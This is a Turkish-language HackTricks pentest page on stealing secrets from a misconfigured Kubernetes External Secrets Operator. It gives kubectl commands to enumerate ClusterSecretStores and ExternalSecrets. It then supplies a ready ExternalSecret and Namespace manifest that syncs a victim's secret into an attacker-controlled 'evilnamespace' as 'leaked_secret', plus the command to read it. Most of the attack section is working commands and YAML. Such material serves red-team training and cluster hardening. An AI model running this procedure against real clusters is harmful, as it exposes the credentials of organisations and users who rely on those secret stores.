External Secret Operator

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu sayfanın orijinal yazarı Fares

Bu sayfa, yanlış yapılandırılmış bir ESO veya ESO’yu kullanarak gizli bilgilerini senkronize eden bir uygulamadan gizli bilgileri nasıl çalabileceğinize dair bazı ipuçları vermektedir.

Disclaimer

Aşağıda gösterilen teknik yalnızca belirli koşullar sağlandığında çalışabilir. Örneğin, bir gizli bilginin sahip olduğunuz / ele geçirdiğiniz bir ad alanında senkronize edilmesine izin veren gereksinimlere bağlıdır. Bunu kendiniz çözmeniz gerekecek.

Prerequisites

  1. Bir kubernetes / openshift kümesinde bir ad alanında yönetici ayrıcalıkları ile bir yerleşim
  2. Küme düzeyinde en azından ExternalSecret üzerinde okuma erişimi
  3. ESO’nun gizli bilginizi senkronize etmesine izin veren gerekli etiketler / açıklamalar veya grup üyeliği olup olmadığını belirleyin. Şanslıysanız, tanımlı herhangi bir gizli bilgiyi özgürce çalabilirsiniz.

Gathering information about existing ClusterSecretStore

Yeterli haklara sahip bir kullanıcınız olduğunu varsayarak; öncelikle mevcut ClusterSecretStores listesini çıkararak başlayın.

kubectl get ClusterSecretStore

ExternalSecret enumeration

Bir ClusterSecretStore adında mystore bulduğunuzu varsayalım. İlgili externalsecret’leri listelemeye devam edin.

kubectl get externalsecret -A | grep mystore

Bu kaynak, ad alanı kapsamlıdır, bu nedenle hangi ad alanında arama yapacağınızı bilmiyorsanız, tüm ad alanlarında arama yapmak için -A seçeneğini ekleyin.

Tanımlı externalsecret’lerin bir listesini almalısınız. mysecret adında bir externalsecret nesnesi bulduğunuzu varsayalım ve bu nesne mynamespace ad alanında tanımlanmış ve kullanılıyor. Hangi türde bir gizli bilgi içerdiği hakkında biraz daha bilgi toplayın.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Parçaları Birleştirme

Buradan bir veya birden fazla gizli adın (Secret kaynağında tanımlandığı gibi) adını alabilirsiniz. Çıktınız şu şekilde olacaktır:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Şu ana kadar şunları aldık:

  • Bir ClusterSecretStore adı
  • Bir ExternalSecret adı
  • Sırrın adı

Artık ihtiyacımız olan her şeye sahip olduğumuza göre, bir ExternalSecret oluşturabilirsiniz (ve sonunda yeni sırrınızın senkronize edilmesi için gereken ön koşullara uymak üzere yeni bir Namespace oluşturabilir/güncelleyebilirsiniz):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Birkaç dakika sonra, senkronizasyon koşulları sağlandıysa, ad alanınız içinde sızdırılan sırrı görebilmelisiniz.

kubectl get secret leaked_secret -o yaml

Referanslar

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets. \xc2\xb7 GitHub

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin